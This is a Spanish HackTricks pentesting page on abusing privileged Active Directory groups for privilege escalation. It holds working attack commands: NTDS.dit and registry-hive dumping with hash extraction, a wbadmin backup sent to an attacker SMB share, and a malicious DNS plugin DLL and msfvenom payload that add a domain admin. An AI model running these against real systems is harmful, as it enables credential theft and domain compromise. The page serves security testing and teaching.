hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md

26 KiB

Grupos Privilegiados

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Grupos conocidos con privilegios de administración

  • Administradores
  • Domain Admins
  • Enterprise Admins

Existen otras membresías de cuenta y privilegios de token de acceso que también pueden ser útiles durante las evaluaciones de seguridad al encadenar múltiples vectores de ataque.

Operadores de Cuenta

  • Permite crear cuentas y grupos no administradores en el dominio
  • Permite iniciar sesión localmente en el DC

Obtener miembros del grupo:

Get-NetGroupMember -Identity "Account Operators" -Recurse

Tenga en cuenta la membresía del usuario 'spotless':

Sin embargo, aún podemos agregar nuevos usuarios:

Así como iniciar sesión localmente en DC01:

Grupo AdminSDHolder

La Lista de Control de Acceso (ACL) del objeto AdminSDHolder se utiliza como plantilla para copiar permisos a todos los "grupos protegidos" en Active Directory y sus miembros. Los grupos protegidos incluyen grupos privilegiados como Domain Admins, Administrators, Enterprise Admins y Schema Admins.
Por defecto, la ACL de este grupo se copia dentro de todos los "grupos protegidos". Esto se hace para evitar cambios intencionales o accidentales en estos grupos críticos. Sin embargo, si un atacante modifica la ACL del grupo AdminSDHolder, por ejemplo otorgando permisos completos a un usuario regular, este usuario tendrá permisos completos en todos los grupos dentro del grupo protegido (en una hora).
Y si alguien intenta eliminar a este usuario de los Domain Admins (por ejemplo) en una hora o menos, el usuario volverá al grupo.

Obtener miembros del grupo:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse

Agregar un usuario al grupo AdminSDHolder:

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All

Compruebe si el usuario está dentro del grupo Domain Admins:

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Si no quieres esperar una hora, puedes usar un script de PS para hacer que la restauración ocurra instantáneamente: https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

Más información en ired.team.

Papelera de Reciclaje de AD

Este grupo te da permiso para leer objetos de AD eliminados. Se puede encontrar información valiosa allí:

#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Acceso al Controlador de Dominio

Observa cómo no podemos acceder a archivos en el DC con la membresía actual:

Sin embargo, si el usuario pertenece a Server Operators:

La historia cambia:

Escalada de Privilegios

Utiliza PsService o sc, de Sysinternals, para verificar permisos en un servicio.

C:\> .\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

[...]

[ALLOW] BUILTIN\Server Operators
All

Este confirma que el grupo Server Operators tiene el derecho de acceso SERVICE_ALL_ACCESS, lo que nos otorga control total sobre este servicio. Puedes abusar de este servicio para hacer que el servicio ejecute comandos arbitrarios y escalar privilegios.

Backup Operators

Al igual que con la membresía de Server Operators, podemos acceder al sistema de archivos de DC01 si pertenecemos a Backup Operators.

Esto se debe a que este grupo otorga a sus miembros los privilegios SeBackup y SeRestore. El SeBackupPrivilege nos permite atravesar cualquier carpeta y listar el contenido de la carpeta. Esto nos permitirá copiar un archivo de una carpeta, incluso si no tienes permisos para nada más. Sin embargo, para abusar de estos permisos y copiar un archivo se debe usar la bandera FILE_FLAG_BACKUP_SEMANTICS ****. Por lo tanto, se necesitan herramientas especiales.

Para este propósito puedes usar estos scripts.

Obtener miembros del grupo:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Ataque Local

# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled

# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege

# List Admin folder for example and steal a file
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite

Ataque a AD

Por ejemplo, puedes acceder directamente al sistema de archivos del Controlador de Dominio:

Puedes abusar de este acceso para robar la base de datos del directorio activo NTDS.dit para obtener todos los hashes NTLM de todos los objetos de usuario y computadora en el dominio.

Usando diskshadow.exe para volcar NTDS.dit

Utilizando diskshadow puedes crear una copia de sombra del disco C y en el disco F por ejemplo. Luego, puedes robar el archivo NTDS.dit de esta copia de sombra ya que no estará en uso por el sistema:

diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 10:34:16 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% F:
DISKSHADOW> end backup
DISKSHADOW> exit

Como en el ataque local, ahora puedes copiar el archivo privilegiado NTDS.dit:

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Otra forma de copiar archivos es utilizando robocopy:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit

Entonces, puedes fácilmente robar el SYSTEM y SAM:

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV

Finalmente puedes obtener todos los hashes del NTDS.dit:

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Uso de wbadmin.exe para volcar NTDS.dit

El uso de wbadmin.exe es muy similar a diskshadow.exe, la utilidad wbadmin.exe es una herramienta de línea de comandos integrada en Windows, desde Windows Vista/Server 2008.

Antes de usarla, necesitas configurar el sistema de archivos ntfs para el servidor smb en la máquina atacante.

Cuando hayas terminado de configurar el servidor smb, necesitas almacenar en caché las credenciales smb en la máquina objetivo:

# cache the smb credential.
net use X: \\<AttackIP>\sharename /user:smbuser password

# check if working.
dir X:\

Si no hay error, utilice wbadmin.exe para explotarlo:

# Start backup the system.
# In here, no need to use `X:\`, just using `\\<AttackIP>\sharename` should be ok.
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds

# Look at the backup version to get time.
wbadmin get versions

# Restore the version to dump ntds.dit.
echo "Y" | wbadmin start recovery -version:10/09/2023-23:48 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Si tiene éxito, volcará en C:\ntds.dit.

VIDEO DEMO CON IPPSEC

DnsAdmins

Un usuario que es miembro del grupo DNSAdmins o tiene privilegios de escritura en un objeto de servidor DNS puede cargar una DLL arbitraria con privilegios de SYSTEM en el servidor DNS.
Esto es realmente interesante ya que los Controladores de Dominio se usan muy frecuentemente como servidores DNS.

Como se muestra en este post, el siguiente ataque se puede realizar cuando DNS se ejecuta en un Controlador de Dominio (lo cual es muy común):

  • La gestión de DNS se realiza a través de RPC
  • ServerLevelPluginDll nos permite cargar una DLL personalizada con cero verificación de la ruta de la DLL. Esto se puede hacer con la herramienta dnscmd desde la línea de comandos
  • Cuando un miembro del grupo DnsAdmins ejecuta el comando dnscmd a continuación, la clave del registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll se llena
  • Cuando se reinicia el servicio DNS, la DLL en esta ruta será cargada (es decir, una compartición de red a la que la cuenta de máquina del Controlador de Dominio puede acceder)
  • Un atacante puede cargar una DLL personalizada para obtener una shell inversa o incluso cargar una herramienta como Mimikatz como una DLL para volcar credenciales.

Obtener miembros del grupo:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Ejecutar DLL arbitraria

Entonces, si tienes un usuario dentro del grupo DNSAdmins, puedes hacer que el servidor DNS cargue una DLL arbitraria con privilegios SYSTEM (el servicio DNS se ejecuta como NT AUTHORITY\SYSTEM). Puedes hacer que el servidor DNS cargue un archivo DLL local o remoto (compartido por SMB) ejecutando:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll

Un ejemplo de una DLL válida se puede encontrar en https://github.com/kazkansouh/DNSAdmin-DLL. Yo cambiaría el código de la función DnsPluginInitialize a algo como:

DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}

O podrías generar una dll usando msfvenom:

msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Entonces, cuando el DNSservice se inicia o reinicia, se creará un nuevo usuario.

Incluso teniendo un usuario dentro del grupo DNSAdmin, por defecto no puedes detener y reiniciar el servicio DNS. Pero siempre puedes intentar hacer:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Aprende más sobre esta escalada de privilegios en ired.team.

Mimilib.dll

Como se detalla en este post, también es posible usar mimilib.dll del creador de la herramienta Mimikatz para obtener ejecución de comandos modificando el archivo kdns.c **** para ejecutar un reverse shell de una línea u otro comando de nuestra elección.

Registro WPAD para MitM

Otra forma de abusar de los privilegios del grupo DnsAdmins es creando un registro WPAD. La membresía en este grupo nos da los derechos para desactivar la seguridad de bloqueo de consultas globales, que por defecto bloquea este ataque. Server 2008 introdujo por primera vez la capacidad de añadir a una lista de bloqueo de consultas globales en un servidor DNS. Por defecto, el Protocolo de Descubrimiento Automático de Proxy Web (WPAD) y el Protocolo de Direccionamiento Automático de Túnel entre Sitios (ISATAP) están en la lista de bloqueo de consultas globales. Estos protocolos son bastante vulnerables al secuestro, y cualquier usuario del dominio puede crear un objeto de computadora o registro DNS que contenga esos nombres.

Después de desactivar la lista de bloqueo de consultas globales y crear un registro WPAD, cada máquina que ejecute WPAD con la configuración predeterminada tendrá su tráfico enrutado a través de nuestra máquina de ataque. Podríamos usar una herramienta como **** Responder o Inveigh para realizar spoofing de tráfico, e intentar capturar hashes de contraseñas y descifrarlas fuera de línea o realizar un ataque SMBRelay.

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

Lectores de Registros de Eventos

Los miembros del grupo Lectores de Registros de Eventos **** tienen permiso para acceder a los registros de eventos generados (como los registros de creación de nuevos procesos). En los registros se podría encontrar información sensible. Veamos cómo visualizar los registros:

#Get members of the group
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"

# To find "net [...] /user:blahblah password"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# Using other users creds
wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"

# Search using PowerShell
Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

Permisos de Exchange en Windows

Los miembros tienen la capacidad de escribir una DACL en el objeto de dominio. Un atacante podría abusar de esto para darle a un usuario DCSync privilegios.
Si Microsoft Exchange está instalado en el entorno de AD, es común encontrar cuentas de usuario e incluso computadoras como miembros de este grupo.

Este repositorio de GitHub explica algunas técnicas para escalar privilegios abusando de los permisos de este grupo.

#Get members of the group
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Administradores de Hyper-V

El grupo Administradores de Hyper-V tiene acceso completo a todas las funciones de Hyper-V. Si los Controladores de Dominio han sido virtualizados, entonces los administradores de virtualización deben ser considerados Administradores de Dominio. Podrían fácilmente crear un clon del Controlador de Dominio en vivo y montar el disco virtual de forma offline para obtener el archivo NTDS.dit y extraer los hashes de contraseña NTLM de todos los usuarios en el dominio.

También está bien documentado en este blog, que al eliminar una máquina virtual, vmms.exe intenta restaurar los permisos originales del archivo en el correspondiente archivo .vhdx y lo hace como NT AUTHORITY\SYSTEM, sin suplantar al usuario. Podemos eliminar el archivo .vhdx y crear un enlace físico nativo para que este archivo apunte a un archivo protegido del SYSTEM, y se nos otorgarán permisos completos.

Si el sistema operativo es vulnerable a CVE-2018-0952 o CVE-2019-0841, podemos aprovechar esto para obtener privilegios de SYSTEM. De lo contrario, podemos intentar aprovechar una aplicación en el servidor que haya instalado un servicio que se ejecute en el contexto de SYSTEM, que pueda ser iniciado por usuarios no privilegiados.

Ejemplo de Explotación

Un ejemplo de esto es Firefox, que instala el Mozilla Maintenance Service. Podemos actualizar este exploit (una prueba de concepto para enlace físico NT) para otorgar a nuestro usuario actual permisos completos en el archivo a continuación:

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Tomando posesión del archivo

Después de ejecutar el script de PowerShell, deberíamos tener control total de este archivo y podemos tomar posesión de él.

C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Iniciando el Mozilla Maintenance Service

A continuación, podemos reemplazar este archivo con un maintenanceservice.exe malicioso, iniciar el servicio de mantenimiento y obtener ejecución de comandos como SYSTEM.

C:\htb> sc.exe start MozillaMaintenance

{% hint style="info" %} Este vector ha sido mitigado por las actualizaciones de seguridad de Windows de marzo de 2020, que cambiaron el comportamiento relacionado con los enlaces duros. {% endhint %}

Gestión de la Organización

Este grupo también está en entornos con Microsoft Exchange instalado.
los miembros de este grupo pueden acceder a los buzones de todos los usuarios del dominio.
Este grupo también tiene control total de la OU llamada Microsoft Exchange Security Groups, que contiene el grupo Exchange Windows Permissions **** (sigue el enlace para ver cómo abusar de este grupo para escalar privilegios).

Operadores de Impresión

A los miembros de este grupo se les otorga:

  • SeLoadDriverPrivilege
  • Iniciar sesión localmente en un Controlador de Dominio y apagarlo
  • Permisos para gestionar, crear, compartir y eliminar impresoras conectadas a un Controlador de Dominio

{% hint style="warning" %} Si el comando whoami /priv, no muestra el SeLoadDriverPrivilege desde un contexto no elevado, necesitas eludir UAC. {% endhint %}

Obtener miembros del grupo:

Get-NetGroupMember -Identity "Print Operators" -Recurse

Revise en esta página cómo abusar del SeLoadDriverPrivilege para privesc:

{% content-ref url="../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md" %} abuse-seloaddriverprivilege.md {% endcontent-ref %}

Usuarios de Escritorio Remoto

Los miembros de este grupo pueden acceder a los PC a través de RDP.
Obtenga miembros del grupo:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Más información sobre RDP:

{% content-ref url="../../network-services-pentesting/pentesting-rdp.md" %} pentesting-rdp.md {% endcontent-ref %}

Usuarios de Administración Remota

Los miembros de este grupo pueden acceder a PCs a través de WinRM.

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Más información sobre WinRM:

{% content-ref url="../../network-services-pentesting/5985-5986-pentesting-winrm.md" %} 5985-5986-pentesting-winrm.md {% endcontent-ref %}

Operadores de Servidor

La membresía en este grupo permite a los usuarios configurar Controladores de Dominio con los siguientes privilegios:

  • Permitir inicio de sesión local
  • Hacer copia de seguridad de archivos y directorios
  • ``SeBackupPrivilege y SeRestorePrivilege
  • Cambiar la hora del sistema
  • Cambiar la zona horaria
  • Forzar apagado desde un sistema remoto
  • Restaurar archivos y directorios
  • Apagar el sistema
  • Controlar servicios locales

Obtener miembros del grupo:

Get-NetGroupMember -Identity "Server Operators" -Recurse

Referencias

{% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %}

{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}

{% embed url="https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory" %}

{% embed url="https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--" %}

{% embed url="https://adsecurity.org/?p=3658" %}

{% embed url="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/" %}

{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}

{% embed url="https://rastamouse.me/2019/01/gpo-abuse-part-1/" %}

{% embed url="https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13" %}

{% embed url="https://github.com/tandasat/ExploitCapcom" %}

{% embed url="https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp" %}

{% embed url="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys" %}

{% embed url="https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e" %}

{% embed url="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: